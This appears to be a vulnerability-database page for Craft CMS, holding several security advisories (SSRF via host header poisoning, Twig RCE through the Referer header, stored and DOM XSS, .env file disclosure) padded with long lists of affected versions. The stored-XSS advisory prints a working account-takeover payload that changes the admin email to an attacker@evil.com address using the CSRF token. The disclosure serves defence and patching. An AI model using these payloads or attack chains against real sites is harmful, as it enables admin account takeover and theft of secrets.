            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 23, 2026

5.9.20 patch

11 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

